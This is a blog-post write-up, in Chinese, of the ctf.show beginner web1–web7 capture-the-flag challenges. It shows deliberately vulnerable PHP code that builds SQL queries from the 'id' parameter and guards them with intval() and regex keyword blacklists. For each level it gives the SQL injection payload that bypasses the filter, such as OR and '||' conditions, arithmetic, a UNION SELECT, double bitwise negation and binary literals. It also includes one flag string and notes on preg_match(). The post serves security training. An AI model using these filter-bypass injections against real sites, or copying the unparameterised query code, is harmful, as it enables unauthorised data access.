ctf.show _萌新

ctf.show _萌新

web1 (利用intval函数的特性获取敏感数据)

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

✔解题方法

​ 先分析一下源码, 首先是 intval()函数将参数id转换为数值型, id > 999直接die()结束程序, 也就是说我们传递的id不能大于 999, 明知道1000就是flag, 但不能直接传1000, 否则程序会直接die()结束, 传递的id 即不能大于999, 又需要查询 1000的值 , 这里我们可以通过 or( 逻辑或)来同时传递两个id, 一个id用于绕过intval($id) > 999 的验证, 另一个id 用来返回1000的查询结果, 也就是flag
原文链接:https://blog.csdn.net/wangyuxiang946/article/details/120190791

?id=2 or id=1000

ctfshow{3fc4062f-4ca0-4846-a0b6-5d287cd3a238}

👀知识点

1.intval()函数的特性

​ intval()函数用来获取变量的整数值,使用的时候常见两种情况:

​ 1.转换整数时,返回整数本身

​ 2.转换字符串时,会从字符串的开始进行转换,知道遇到一个非数字的字符,如果字符串的第一个字符不是整数,则返回0;

2.isset()函数

​ isset()在php中用来检测变量是否设置,该函数返回的是否布尔值,即true/false。

web2 (利用intval函数特性配合SQL的特殊符号获取敏感数据)

# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\+/i",$id)){
            die("id error");
    }

✔解题方法

​ 这一关过滤了or,但是我们可以使用加号,减号,乘号,除号,或,左移等方式绕过

?id=2*500

👀知识点

1.preg_match()函数

参见https://www.runoob.com/php/php-preg_match_all.html

语法

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )

搜索 subject 与 pattern 给定的正则表达式的一个匹配。参数说明:

  • $pattern: 要搜索的模式,字符串形式。
  • $subject: 输入字符串。
  • $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
  • $flags:flags 可以被设置为以下标记值:
    1. PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
  • offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。

返回值

返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

实例

if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串 php。";}

//模式分隔符后的"i"标记这是一个大小写不敏感的搜索

if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) {
    echo "查找到匹配的字符串。\n";} 

/* 模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配 * 单词的部分内容比如"webbing" 或 "cobweb" */

<?php
// 从URL中获取主机名称
preg_match('@^(?:http://)?([^/]+)@i',
    "http://www.runoob.com/index.html", $matches);
$host = $matches[1];
 
// 获取主机名称的后面两部分
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";
?>

//获取URL中的域名

preg_match()函数只要匹配成功一次就会终止匹配,如果要匹配字符串所有符合正则规则的内容,需要使用preg_match_all()函数

以下来自:https://www.php.cn/php-weizijiaocheng-381228.html

​ 利用 preg_match(),可以完成字符串的规则匹配。如果找到一个匹配,preg_match() 函数返回 1,否则返回 0。还有一个可选的第三参数可以让你把匹配的部分存在一个数组中。在验证数据时这个功能显得非常重要以及有用。

​ PCRE 顾名思义,与在 Perl 中的正则表达式有相同的语法,所以每段正则表达式必须要有一对定界符。我们一般使用 / 为定界符。
​ 开头的 ^ 和结尾的 $ 让PHP从字符串开头检查到结尾。假使没有 $,程序仍会匹配到 Email 的末尾。
◆[ ] 被用来限制许可输入类型。例如 a-z 允许所有的小写字母,A-Z 允许所有的大写字母,0-9 所有数字,等等,以及更多其他类型。
◆{ } 被用来限制期望的字符数。例如 {2,4} 表示字符串的每一节可以有 2-4 字符长度,像是 .com.cn 或 .info。在这里, "." 并不算一个字符,因为 {2,4} 之前定义的许可输入类型只有大小写字母,故此段只匹配大小写字母
◆( ) 被用来合并小节,并定义字符串中必须存在的字符。(a|b|c) 能够匹配 a 或 b 或 c。
◆(.) 将匹配所有字符,而 [.] 只匹配 "." 本身。
要使用一些符号本身,必须在前增加一个 。这些字符有:( ) [ ] . * ? + ^ | $

web3(利用intval函数的特性配合联合注入获取网站敏感信息)

🧐这程序员还挺有意思

<?php
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\-|\\|\*|\<|\>|\!|x|hex|\+/i",$id)){
            die("id error");
    }
?>

✔解题方法

​ 源码中过滤了or,加减乘除(+-*/),hex,!等关键字,这里推荐使用联合注入

?id=2 union select * from article where id = 1000

web4 (利用逻辑运算符绕过网站获取网站敏感信息)

<?php
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/or|\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
?>

✔解题方法

​ 源码中过滤了or,加减乘除(+-*/),左右移,括号,|,select等关键字,我们使用短路逻辑或(||)来替替代 or 即可

?id=2 || id = 1000

web5 (利用位运算符控制SQL获取网站敏感信息)

<?php
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
?>

✔解题方法

​ 这一关过滤了单双引号,or,斜杠,加减乘除号,叹号,括号,select等关键字,推荐使用取反运算符(~)来控制SQL语句,获取flag

?id=~~1000

​ ‘~~1000’ 字符串被intval()函数转换后会变成 0

​ 取反运算符可以将数值的内容取反,两次取反后便会是原来的样子,所以SQL会查询 id=1000 的信息,从而拿到flag

web6 (利用二进制绕过获取网站敏感信息)

<?php
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
?>

✔解题方法

​ 源码中过滤了单双引号,or,加减乘除号,叹号,异或,hex,select等关键字,推荐使用二进制绕过

?id=0b1111101000

web7

<?php
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
        $id = $_GET['id'];
    if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){
            die("id error");
    }
?>

同上一题的方法仍然可以得到flag

posted @ 2022-09-29 09:27  花花Flower  阅读(47)  评论(0编辑  收藏  举报